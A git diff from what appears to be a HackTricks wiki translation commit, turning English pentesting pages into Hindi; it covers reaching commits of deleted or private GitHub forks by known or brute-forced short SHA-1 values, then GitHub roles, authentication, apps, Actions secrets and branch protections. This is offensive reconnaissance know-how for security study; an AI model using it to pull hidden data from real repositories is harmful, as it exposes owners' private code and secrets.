+2. आप उस रिपॉजिटरी का एक निजी, आंतरिक संस्करण बनाते हैं (फोर्किंग के माध्यम से) और उन सुविधाओं के लिए अतिरिक्त कोड कमिट करते हैं जिन्हें आप सार्वजनिक नहीं करने जा रहे हैं।
+3. आप अपने "अपस्ट्रीम" रिपॉजिटरी को सार्वजनिक बनाते हैं और अपने फोर्क को निजी रखते हैं।
> [!CAUTION]
-> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
+> आंतरिक फोर्क बनाए जाने और सार्वजनिक संस्करण सार्वजनिक किए जाने के बीच के समय में आंतरिक फोर्क में धकेले गए सभी डेटा तक पहुँच संभव है।
-## How to discover commits from deleted/hidden forks
+## हटाए गए/छिपे हुए फोर्क से कमिट कैसे खोजें
-The same blog post propose 2 options:
+उसी ब्लॉग पोस्ट में 2 विकल्प प्रस्तावित किए गए हैं:
-### Directly accessing the commit
+### सीधे कमिट तक पहुँच
-If the commit ID (sha-1) value is known it's possible to access it in `https://github.com///commit/`
+यदि कमिट ID (sha-1) मान ज्ञात है तो इसे `https://github.com///commit/` में पहुँच पाना संभव है।
-### Brute-forcing short SHA-1 values
+### छोटे SHA-1 मानों का ब्रूट-फोर्सिंग
-It's the same to access both of these:
+इन दोनों तक पहुँचने का तरीका समान है:
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
-And the latest one use a short sha-1 that is bruteforceable.
+और अंतिम वाला एक छोटा sha-1 है जो ब्रूटफोर्स किया जा सकता है।
-## References
+## संदर्भ
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index ae1365a0f..8105fd68c 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -4,191 +4,184 @@
## Basic Structure
-The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
+एक बड़े **कंपनी** का बुनियादी गिटहब वातावरण संरचना एक **उद्यम** है जो **कई संगठनों** का मालिक है और उनमें से प्रत्येक में **कई रिपॉजिटरी** और **कई टीमें** हो सकती हैं। छोटे कंपनियों के पास केवल **एक संगठन और कोई उद्यम** हो सकता है।
-From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
+एक उपयोगकर्ता के दृष्टिकोण से, एक **उपयोगकर्ता** विभिन्न **उद्यमों और संगठनों** का **सदस्य** हो सकता है। उनके भीतर, उपयोगकर्ता के पास **विभिन्न उद्यम, संगठन और रिपॉजिटरी भूमिकाएँ** हो सकती हैं।
-Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
+इसके अलावा, एक उपयोगकर्ता **विभिन्न टीमों** का **भाग** हो सकता है जिनकी विभिन्न उद्यम, संगठन या रिपॉजिटरी भूमिकाएँ हैं।
-And finally **repositories may have special protection mechanisms**.
+और अंत में, **रिपॉजिटरी में विशेष सुरक्षा तंत्र** हो सकते हैं।
## Privileges
### Enterprise Roles
-- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
-- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
+- **Enterprise owner**: इस भूमिका वाले लोग **व्यवस्थापकों का प्रबंधन, उद्यम के भीतर संगठनों का प्रबंधन, उद्यम सेटिंग्स का प्रबंधन, संगठनों के बीच नीति लागू करने** में सक्षम होते हैं। हालाँकि, वे **संगठन सेटिंग्स या सामग्री तक पहुँच नहीं सकते** जब तक कि उन्हें संगठन का मालिक नहीं बनाया जाता या संगठन-स्वामित्व वाली रिपॉजिटरी तक सीधी पहुँच नहीं दी जाती।
+- **Enterprise members**: आपके उद्यम द्वारा स्वामित्व वाले संगठनों के सदस्य भी **स्वचालित रूप से उद्यम के सदस्य** होते हैं।
### Organization Roles
-In an organisation users can have different roles:
+एक संगठन में उपयोगकर्ताओं के पास विभिन्न भूमिकाएँ हो सकती हैं:
-- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
-- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
-- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
-- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
- - If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
-- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
-- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
+- **Organization owners**: संगठन के मालिकों के पास **आपके संगठन तक पूर्ण प्रशासनिक पहुँच** होती है। इस भूमिका को सीमित किया जाना चाहिए, लेकिन आपके संगठन में दो से कम लोगों के लिए नहीं।
+- **Organization members**: **डिफ़ॉल्ट**, गैर-प्रशासनिक भूमिका **संगठन में लोगों** के लिए संगठन सदस्य है। डिफ़ॉल्ट रूप से, संगठन के सदस्यों के पास **कई अनुमतियाँ** होती हैं।
+- **Billing managers**: बिलिंग प्रबंधक वे उपयोगकर्ता होते हैं जो **आपके संगठन के लिए बिलिंग सेटिंग्स का प्रबंधन** कर सकते हैं, जैसे भुगतान जानकारी।
+- **Security Managers**: यह एक भूमिका है जिसे संगठन के मालिक किसी भी टीम को सौंप सकते हैं। जब लागू किया जाता है, तो यह टीम के प्रत्येक सदस्य को **संगठन में सुरक्षा अलर्ट और सेटिंग्स का प्रबंधन करने, साथ ही सभी रिपॉजिटरी के लिए पढ़ने की अनुमतियाँ** देता है।
+- यदि आपके संगठन में एक सुरक्षा टीम है, तो आप सुरक्षा प्रबंधक भूमिका का उपयोग करके टीम के सदस्यों को संगठन तक पहुँच देने के लिए न्यूनतम पहुँच दे सकते हैं।
+- **Github App managers**: अतिरिक्त उपयोगकर्ताओं को **संगठन द्वारा स्वामित्व वाले GitHub Apps का प्रबंधन** करने की अनुमति देने के लिए, एक मालिक उन्हें GitHub App प्रबंधक अनुमतियाँ दे सकता है।
+- **Outside collaborators**: एक बाहरी सहयोगी वह व्यक्ति है जिसके पास **एक या अधिक संगठन रिपॉजिटरी तक पहुँच है लेकिन वह स्पष्ट रूप से संगठन का सदस्य नहीं है**।
-You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
+आप इन भूमिकाओं के अनुमतियों की **तुलना** इस तालिका में कर सकते हैं: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
### Members Privileges
-In _https://github.com/organizations/\/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
+_https://github.com/organizations/\/settings/member_privileges_ में आप देख सकते हैं कि **संगठन का हिस्सा होने के नाते उपयोगकर्ताओं के पास क्या अनुमतियाँ होंगी**।
-The settings here configured will indicate the following permissions of members of the organisation:
+यहाँ कॉन्फ़िगर की गई सेटिंग्स संगठन के सदस्यों की निम्नलिखित अनुमतियों को इंगित करेंगी:
-- Be admin, writer, reader or no permission over all the organisation repos.
-- If members can create private, internal or public repositories.
-- If forking of repositories is possible
-- If it's possible to invite outside collaborators
-- If public or private sites can be published
-- The permissions admins has over the repositories
-- If members can create new teams
+- सभी संगठन रिपॉजिटरी पर व्यवस्थापक, लेखक, पाठक या कोई अनुमति नहीं होना।
+- यदि सदस्यों को निजी, आंतरिक या सार्वजनिक रिपॉजिटरी बनाने की अनुमति है।
+- यदि रिपॉजिटरी का फोर्क करना संभव है।
+- यदि बाहरी सहयोगियों को आमंत्रित करना संभव है।
+- यदि सार्वजनिक या निजी साइटों को प्रकाशित किया जा सकता है।
+- रिपॉजिटरी पर व्यवस्थापकों के पास क्या अनुमतियाँ हैं।
+- यदि सदस्य नई टीमें बना सकते हैं।
### Repository Roles
-By default repository roles are created:
+डिफ़ॉल्ट रूप से रिपॉजिटरी भूमिकाएँ बनाई जाती हैं:
-- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
-- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
-- **Write**: Recommended for contributors who **actively push to your project**
-- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
-- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
+- **Read**: **गैर-कोड योगदानकर्ताओं** के लिए अनुशंसित जो आपके प्रोजेक्ट को देखना या चर्चा करना चाहते हैं।
+- **Triage**: **योगदानकर्ताओं के लिए अनुशंसित जिन्हें मुद्दों और पुल अनुरोधों का सक्रिय रूप से प्रबंधन करने की आवश्यकता होती है** बिना लिखने की पहुँच के।
+- **Write**: योगदानकर्ताओं के लिए अनुशंसित जो **सक्रिय रूप से आपके प्रोजेक्ट में योगदान करते हैं**।
+- **Maintain**: **प्रोजेक्ट प्रबंधकों के लिए अनुशंसित जिन्हें रिपॉजिटरी का प्रबंधन करने की आवश्यकता होती है** बिना संवेदनशील या विनाशकारी कार्यों की पहुँच के।
+- **Admin**: उन लोगों के लिए अनुशंसित जिन्हें **प्रोजेक्ट तक पूर्ण पहुँच** की आवश्यकता होती है, जिसमें सुरक्षा प्रबंधन या रिपॉजिटरी को हटाने जैसे संवेदनशील और विनाशकारी कार्य शामिल हैं।
-You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+आप इस तालिका में प्रत्येक भूमिका के अनुमतियों की **तुलना** कर सकते हैं [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
-You can also **create your own roles** in _https://github.com/organizations/\/settings/roles_
+आप _https://github.com/organizations/\/settings/roles_ में **अपनी भूमिकाएँ भी बना सकते हैं**।
### Teams
-You can **list the teams created in an organization** in _https://github.com/orgs/\/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
+आप _https://github.com/orgs/\/teams_ में **एक संगठन में बनाई गई टीमों की सूची** देख सकते हैं। ध्यान दें कि अन्य टीमों के बच्चों को देखने के लिए आपको प्रत्येक माता टीम तक पहुँचने की आवश्यकता है।
### Users
-The users of an organization can be **listed** in _https://github.com/orgs/\/people._
+एक संगठन के उपयोगकर्ताओं को _https://github.com/orgs/\/people_ में **सूचीबद्ध** किया जा सकता है।
-In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
+प्रत्येक उपयोगकर्ता की जानकारी में आप देख सकते हैं कि **उपयोगकर्ता किस टीम का सदस्य है**, और **उपयोगकर्ता को किन रिपॉजिटरी तक पहुँच है**।
## Github Authentication
-Github offers different ways to authenticate to your account and perform actions on your behalf.
+Github आपके खाते में प्रमाणित होने और आपकी ओर से क्रियाएँ करने के लिए विभिन्न तरीके प्रदान करता है।
### Web Access
-Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
+**github.com** पर पहुँचते समय आप अपने **उपयोगकर्ता नाम और पासवर्ड** (और संभवतः एक **2FA**) का उपयोग करके लॉगिन कर सकते हैं।
### **SSH Keys**
-You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
+आप अपने खाते को एक या एक से अधिक सार्वजनिक कुंजियों के साथ कॉन्फ़िगर कर सकते हैं जिससे संबंधित **निजी कुंजी आपकी ओर से क्रियाएँ करने की अनुमति देती है।** [https://github.com/settings/keys](https://github.com/settings/keys)
#### **GPG Keys**
-You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+आप **इन कुंजियों के साथ उपयोगकर्ता का प्रतिनिधित्व नहीं कर सकते** लेकिन यदि आप इसका उपयोग नहीं करते हैं तो यह संभव हो सकता है कि आप **बिना हस्ताक्षर के कमिट भेजने के लिए खोजे जाएँ**। [यहाँ सतर्क मोड के बारे में अधिक जानें](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode)।
### **Personal Access Tokens**
-You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+आप **एक एप्लिकेशन को अपने खाते तक पहुँच देने के लिए व्यक्तिगत पहुँच टोकन उत्पन्न कर सकते हैं**। व्यक्तिगत पहुँच टोकन बनाते समय, **उपयोगकर्ता** को **अनुमतियाँ** निर्दिष्ट करने की आवश्यकता होती है जो **टोकन** के पास होंगी। [https://github.com/settings/tokens](https://github.com/settings/tokens)
### Oauth Applications
-Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
+Oauth एप्लिकेशन आपसे अनुमतियाँ मांग सकते हैं **आपकी गिटहब जानकारी के एक भाग तक पहुँचने या आपको प्रतिनिधित्व करने के लिए** कुछ क्रियाएँ करने के लिए। इस कार्यक्षमता का एक सामान्य उदाहरण **गिटहब के साथ लॉगिन बटन** है जो आप कुछ प्लेटफार्मों पर पा सकते हैं।
-- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
-- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
-- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
-- You can see third party access of applications in an **organization** in _https://github.com/organizations/\/settings/oauth_application_policy_
+- आप [https://github.com/settings/developers](https://github.com/settings/developers) में अपनी **Oauth एप्लिकेशन** बना सकते हैं।
+- आप [https://github.com/settings/applications](https://github.com/settings/applications) में अपने खाते तक पहुँच रखने वाली सभी **Oauth एप्लिकेशन** देख सकते हैं।
+- आप [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) में **Oauth Apps के लिए पूछी जाने वाली स्कोप** देख सकते हैं।
+- आप _https://github.com/organizations/\/settings/oauth_application_policy_ में एक **संगठन** में एप्लिकेशनों की तीसरे पक्ष की पहुँच देख सकते हैं।
-Some **security recommendations**:
+कुछ **सुरक्षा सिफारिशें**:
-- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
-- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
-- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
-- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
-- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
+- एक **OAuth App** को हमेशा **GitHub पर सभी GitHub उपयोगकर्ता के रूप में कार्य करना चाहिए** (उदाहरण के लिए, जब उपयोगकर्ता सूचनाएँ प्रदान करते हैं) और केवल निर्दिष्ट स्कोप तक पहुँच के साथ।
+- एक OAuth App को एक पहचान प्रदाता के रूप में उपयोग किया जा सकता है, जो प्रमाणित उपयोगकर्ता के लिए "GitHub के साथ लॉगिन" सक्षम करता है।
+- **नहीं** बनाएं एक **OAuth App** यदि आप चाहते हैं कि आपका एप्लिकेशन **एकल रिपॉजिटरी** पर कार्य करे। `repo` OAuth स्कोप के साथ, OAuth Apps **प्रमाणित उपयोगकर्ता के सभी रिपॉजिटरी पर कार्य कर सकते हैं**।
+- **नहीं** बनाएं एक OAuth App यदि आप अपने **टीम या कंपनी** के लिए एक एप्लिकेशन के रूप में कार्य करना चाहते हैं। OAuth Apps एक **एकल उपयोगकर्ता** के रूप में प्रमाणित होते हैं, इसलिए यदि एक व्यक्ति कंपनी के उपयोग के लिए एक OAuth App बनाता है, और फिर वह कंपनी छोड़ देता है, तो कोई और इसके लिए पहुँच नहीं रखेगा।
+- **अधिक** यहाँ [यहाँ](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps)।
### Github Applications
-Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
+Github एप्लिकेशन अनुमतियाँ मांग सकते हैं **आपकी गिटहब जानकारी तक पहुँचने या आपको प्रतिनिधित्व करने के लिए** कुछ विशिष्ट क्रियाएँ करने के लिए। Github Apps में आपको उन रिपॉजिटरी को निर्दिष्ट करना होगा जिन तक एप्लिकेशन की पहुँच होगी।
-- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
-- The GitHub App should **connect to a personal account or an organisation**.
-- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
-- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
-- You can see installed apps in an **organization** in _https://github.com/organizations/\/settings/installations_
+- एक GitHub App स्थापित करने के लिए, आपको **संगठन का मालिक या रिपॉजिटरी में व्यवस्थापक अनुमतियाँ** होनी चाहिए।
+- GitHub App को **एक व्यक्तिगत खाते या एक संगठन** से कनेक्ट करना चाहिए।
+- आप [https://github.com/settings/apps](https://github.com/settings/apps) में अपनी खुद की Github एप्लिकेशन बना सकते हैं।
+- आप [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) में अपने खाते तक पहुँच रखने वाली सभी **Github एप्लिकेशन** देख सकते हैं।
+- ये हैं **Github एप्लिकेशन के लिए API Endpoints** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)। एप्लिकेशन की अनुमतियों के आधार पर, यह उनमें से कुछ तक पहुँच प्राप्त कर सकेगा।
+- आप _https://github.com/organizations/\/settings/installations_ में एक **संगठन** में स्थापित एप्लिकेशन देख सकते हैं।
-Some security recommendations:
+कुछ सुरक्षा सिफारिशें:
-- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- Make sure the GitHub App integrates with **specific repositories**.
-- The GitHub App should **connect to a personal account or an organisation**.
-- Don't expect the GitHub App to know and do everything a user can.
-- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
-- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
-- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
-- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- एक GitHub App को **एक उपयोगकर्ता से स्वतंत्र रूप से कार्य करना चाहिए** (जब तक एप्लिकेशन [उपयोगकर्ता-से-सरवर](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) टोकन का उपयोग नहीं कर रहा है)। उपयोगकर्ता-से-सरवर पहुँच टोकनों को अधिक सुरक्षित रखने के लिए, आप ऐसे पहुँच टोकन का उपयोग कर सकते हैं जो 8 घंटे बाद समाप्त हो जाएंगे, और एक रिफ्रेश टोकन जो नए पहुँच टोकन के लिए बदला जा सकता है। अधिक जानकारी के लिए, "[उपयोगकर्ता-से-सरवर पहुँच टोकनों को रिफ्रेश करना](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)" देखें।
+- सुनिश्चित करें कि GitHub App **विशिष्ट रिपॉजिटरी** के साथ एकीकृत है।
+- GitHub App को **एक व्यक्तिगत खाते या एक संगठन** से कनेक्ट करना चाहिए।
+- GitHub App से यह उम्मीद न करें कि वह सब कुछ जानता है और वह सब कुछ कर सकता है जो एक उपयोगकर्ता कर सकता है।
+- **यदि आपको केवल "GitHub के साथ लॉगिन" सेवा की आवश्यकता है तो GitHub App का उपयोग न करें**। लेकिन एक GitHub App एक [उपयोगकर्ता पहचान प्रवाह](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) का उपयोग करके उपयोगकर्ताओं को लॉगिन कर सकता है _और_ अन्य चीजें कर सकता है।
+- यदि आप अपने एप्लिकेशन का उपयोग GitHub Actions के साथ कर रहे हैं और वर्कफ़्लो फ़ाइलों को संशोधित करना चाहते हैं, तो आपको उपयोगकर्ता की ओर से OAuth टोकन के साथ प्रमाणित होना चाहिए जिसमें `workflow` स्कोप शामिल है। उपयोगकर्ता को उस रिपॉजिटरी पर व्यवस्थापक या लिखने की अनुमति होनी चाहिए जिसमें वर्कफ़्लो फ़ाइल है। अधिक जानकारी के लिए, "[OAuth एप्लिकेशन के लिए स्कोप को समझना](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)" देखें।
+- **अधिक** यहाँ [यहाँ](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps)।
### Github Actions
-This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
+यह **गिटहब में प्रमाणित होने का एक तरीका नहीं है**, लेकिन एक **दुर्भावनापूर्ण** Github Action को **गिटहब तक अनधिकृत पहुँच प्राप्त हो सकती है** और **अनुमतियों** के आधार पर जो Action को दी गई हैं, कई **विभिन्न हमले** किए जा सकते हैं। अधिक जानकारी के लिए नीचे देखें।
## Git Actions
-Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
+Git actions **जब कोई घटना होती है तब कोड के निष्पादन को स्वचालित** करने की अनुमति देते हैं। आमतौर पर निष्पादित कोड **रिपॉजिटरी के कोड से किसी न किसी तरह संबंधित होता है** (शायद एक डॉकर कंटेनर बनाना या यह जांचना कि PR में कोई रहस्य नहीं है)।
### Configuration
-In _https://github.com/organizations/\/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
+_https://github.com/organizations/\/settings/actions_ में आप संगठन के लिए **गिटहब क्रियाओं की कॉन्फ़िगरेशन** की जाँच कर सकते हैं।
-It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
+गिटहब क्रियाओं के उपयोग को पूरी तरह से अस्वीकार करना, **सभी गिटहब क्रियाओं की अनुमति देना**, या केवल कुछ क्रियाओं की अनुमति देना संभव है।
-It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
+यह भी संभव है कि **किसे Github Action चलाने के लिए अनुमोदन की आवश्यकता है** और जब Github Action चलाया जाता है तो **GITHUB_TOKEN की अनुमतियाँ** को कॉन्फ़िगर किया जा सके।
### Git Secrets
-Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
-
-These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
+Github Action आमतौर पर गिटहब या तीसरे पक्ष के एप्लिकेशनों के साथ बातचीत करने के लिए कुछ प्रकार के रहस्यों की आवश्यकता होती है। **उन्हें स्पष्ट पाठ में रखने से बचने के लिए**, गिटहब उन्हें **Secrets** के रूप में रखने की अनुमति देता है।
+ये रहस्य **रिपॉजिटरी या सभी संगठन के लिए** कॉन्फ़िगर किए जा सकते हैं। फिर, **Action को रहस्य तक पहुँच प्राप्त करने के लिए** आपको इसे इस तरह घोषित करना होगा:
```yaml
steps:
- - name: Hello world action
- with: # Set the secret as an input
- super_secret:${{ secrets.SuperSecret }}
- env: # Or as an environment variable
- super_secret:${{ secrets.SuperSecret }}
+- name: Hello world action
+with: # Set the secret as an input
+super_secret:${{ secrets.SuperSecret }}
+env: # Or as an environment variable
+super_secret:${{ secrets.SuperSecret }}
```
-
-#### Example using Bash
-
+#### Bash का उपयोग करते हुए उदाहरण
```yaml
steps:
- - shell: bash
- env: SUPER_SECRET:${{ secrets.SuperSecret }}
- run: |
- example-command "$SUPER_SECRET"
+- shell: bash
+env: SUPER_SECRET:${{ secrets.SuperSecret }}
+run: |
+example-command "$SUPER_SECRET"
```
-
> [!WARNING]
-> Secrets **can only be accessed from the Github Actions** that have them declared.
+> Secrets **केवल उन Github Actions से एक्सेस किए जा सकते हैं** जिनमें उन्हें घोषित किया गया है।
-> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
+> एक बार जब उन्हें रेपो या संगठनों में कॉन्फ़िगर किया जाता है, तो **github के उपयोगकर्ता उन्हें फिर से एक्सेस नहीं कर पाएंगे**, वे केवल **उन्हें बदलने** में सक्षम होंगे।
-Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
+इसलिए, **github secrets चुराने का एकमात्र तरीका है कि आप उस मशीन तक पहुँच प्राप्त करें जो Github Action को निष्पादित कर रही है** (उस परिदृश्य में आप केवल Action के लिए घोषित किए गए secrets तक पहुँच प्राप्त कर पाएंगे)।
### Git Environments
-Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
-
+Github **पर्यावरण** बनाने की अनुमति देता है जहाँ आप **secrets** को सहेज सकते हैं। फिर, आप github action को पर्यावरण के अंदर secrets तक पहुँच देने के लिए कुछ इस तरह कर सकते हैं:
```yaml
jobs:
- deployment:
- runs-on: ubuntu-latest
- environment: env_name
+deployment:
+runs-on: ubuntu-latest
+environment: env_name
```
-
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
@@ -229,11 +222,11 @@ The **branch protections of a repository** can be found in _https://github.com/\
Different protections can be applied to a branch (like to master):
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
- - **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
- - **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
- - **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
- - **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
- - **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
+- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
+- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
+- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
+- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
+- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
- **Require signed commits**. The commits need to be signed.
@@ -253,7 +246,3 @@ Different protections can be applied to a branch (like to master):
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md
index 4dfba3ff3..5d4fc0358 100644
--- a/src/pentesting-ci-cd/jenkins-security/README.md
+++ b/src/pentesting-ci-cd/jenkins-security/README.md
@@ -4,7 +4,7 @@
## Basic Information
